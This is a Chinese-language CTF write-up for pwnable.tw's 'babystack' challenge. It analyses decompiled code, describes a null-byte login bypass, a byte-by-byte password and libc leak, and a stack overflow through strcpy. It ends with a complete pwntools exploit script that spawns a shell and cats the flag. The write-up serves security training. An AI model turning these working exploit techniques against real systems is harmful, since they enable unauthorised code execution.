pwnable.tw babystack
0x10 程序分析
64位动态链接库程序,保护全开,注意这里Canary保护的实现方式与其他程序有些不同
main函数分析
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char v6; // [rsp+0h] [rbp-60h]
__int64 password; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
char v9; // [rsp+50h] [rbp-10h]
sub_D30();
dword_202018[0] = open("/dev/urandom", 0);
read(dword_202018[0], &password, 0x10uLL); // read(0,buf,0x10)
v3 = qword_202020;
v4 = v8;
*(_QWORD *)qword_202020 = password;
v3[1] = v4;
close(dword_202018[0]);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, &v9, 0x10LL, 16LL);
if ( v9 == '2' )
break;
if ( v9 == '3' )
{
if ( unk_202014 )
backdoor(&v6); // 栈空间一致
else
puts("Invalid choice");
}
else if ( v9 == '1' )
{
if ( unk_202014 )
unk_202014 = 0;
else
login((const char *)&password); // \x00 绕过
}
else
{
puts("Invalid choice");
}
}
if ( !unk_202014 )
exit(0);
if ( memcmp(&password, qword_202020, 0x10uLL) )// 如果password 不一样
JUMPOUT(loc_100B);
return 0LL;
}
main函数主要提供了两个功能:
-
login
-
Backdoor
我们可以看到,和其他程序的栈保护不同,这个栈溢出保护并没有标志,但我们发现在程序的尾部
有一行
if ( memcmp(&password, qword_202020, 0x10uLL) )// 如果password 不一样
JUMPOUT(loc_100B);
这里对比了内存,如果内存不一样则调用exit(0)来结束程序
login函数分析
int __fastcall login(const char *a1)
{
size_t v1; // rax
char s; // [rsp+10h] [rbp-80h]
printf("Your passowrd :");
my_read((unsigned __int8 *)&s, 0x7Fu); //这里的输入长度很奇怪
v1 = strlen(&s); //这里登陆可以使用\x00来绕过
if ( strncmp(&s, a1, v1) )
return puts("Failed !");
unk_202014 = 1;
return puts("Login Success !");
}
backdoor函数分析
int __fastcall sub_E76(char *a1)
{
char src; // [rsp+10h] [rbp-80h]
printf("Copy :");
my_read((unsigned __int8 *)&src, 0x3Fu);
strcpy(a1, &src);
return puts("It is magic copy !");
}
我们可以发现,如果只看这一个函数,我们是无法完成溢出的,但我们调试后重修看代码发现在login函数中,以及在backdoor函数中
char s; // [rsp+10h] [rbp-80h]
char src; // [rsp+10h] [rbp-80h]
这两个变量都是rbp-0x80
也就是他们的栈空间是一致的,而strcpy()函数会复制变量中所有内容到v6中
假如我们在login的时候输入'\x00'+'A'*0x70
然后调用copy函数进行复制输入B*0x10
由于栈空间一致,我们新的输入会覆盖我们在login的时候输入的\x00
,而
signed __int64 __fastcall sub_CA0(unsigned __int8 *a1, unsigned int a2)
{
signed __int64 result; // rax
int v3; // [rsp+1Ch] [rbp-4h]
v3 = read(0, a1, a2);
if ( v3 <= 0 )
{
puts("read error");
exit(1);
}
result = a1[v3 - 1];
if ( (_BYTE)result == 10 )
{
result = (signed __int64)&a1[v3 - 1];
*(_BYTE *)result = 0;
}
return result;
}
只有有换行符的时候才会在字符串加入\x00,因此如果我们不输入换行符
此时rbp - 0x80
这个栈空间里面应该放的是:
B*0x10 + A * 0x70 这样字符串
然后被整体复制给v6,v6只有rbp-0x60
这样就造成了栈溢出
因此这是一个二次利用
0x20 利用思路
首先程序保护全开,且有栈溢出保护,如果溢出就调用exit来退出,但我们无法通过栈溢出来攻击到exit
因此我们要想办法绕过栈溢出
-
登陆处泄漏地址
原理解析:strncmp(&s, a1, v1), 由于v1可以被
\x00
截断,因此只会比对\x00
之前的字节,那么我们就可以通过逐位爆破来泄漏信息
首先我们要爆破出password,因为我们要保证程序的正常退出
__int64 password; // [rsp+40h] [rbp-20h] //16个字节
其次我们要泄漏出地址
operand在
char v9; // [rsp+50h] [rbp-10h]
而我们要相办法泄漏一个libc地址用它来算one_gadget,或者打栈迁移
而我们可以通过strncmp来比对字节的方法泄漏ebp-8处的值
B*0x20 <-rbp - 0x60
A*0x20
password <- rbp-0x20
operand <-rbp - 0x10
rbp-0x8
ret_addr
因此我们可以通过输入’A’*0x58 然后copy
B * 0x20
A * 0x30 //覆盖password
A * 0x8 + operand +'A'*0x7
ebp - 8 //setvbuf
ebp
ret
本题应该是在ubuntu16.04上面搭建的,18.04与16.04栈环境不一样,要换另一种打法
先说16.04的打法:
泄漏出libc地址后,直接one_gadget 覆盖返回地址就可以getshell
0x30 finalexp
#/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
proc="./babystack"
context.update(arch = 'x86', os = 'linux')
elf=ELF(proc)
def login(password):
sh.sendafter(">> ","1")
sh.sendafter("Your passowrd :",password)
def copy(strings):
sh.sendafter(">> ","3")
sh.sendafter("Copy :",strings)
def bp():
result = ""
for i in range(16):
for ii in range(1,0x100):
sh.sendafter(">> ","1")
sh.sendlineafter("Your passowrd :",result+chr(ii))
tmp = sh.recvline()
if "Login Success" in tmp:
result += chr(ii)
sh.sendafter('>> ', '1')
break
return result
def leak():
result = ""
for i in range(6):
for ii in range(1,0x100):
sh.sendafter(">> ","1")
sh.sendlineafter("Your passowrd :",'A'*0x10+'1'+'A'*0x7+result+chr(ii))
tmp = sh.recvline()
if "Login Success" in tmp:
result += chr(ii)
sh.sendafter('>> ', '1')
break
return result
def pwn(ip,port,debug):
global sh
if debug==1:
context.log_level="debug"
sh=process(proc)
else:
context.log_level="debug"
sh=remote(ip,port)
password = bp()
login("\x00"+"A"*(0x58-1))
copy("B"*0x20)
# logout
sh.sendafter(">> ","1")
result = leak()
libc_base = u64(result.ljust(8,"\x00")) - 0x6ffb4
log.info("libc_base :"+hex(libc_base))
one = libc_base + 0xf0567
login( '\x00' + 'c' * 0x3f +password+ 'a' * 0x18 +p64(one))
copy("B"*0x20)
# logout
sh.sendafter(">> ","2")
sh.sendline("find /home -name flag | xargs cat")
# gdb.attach(sh)
sh.interactive()
if __name__ =="__main__":
pwn("chall.pwnable.tw",10205,0)
"""
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
"""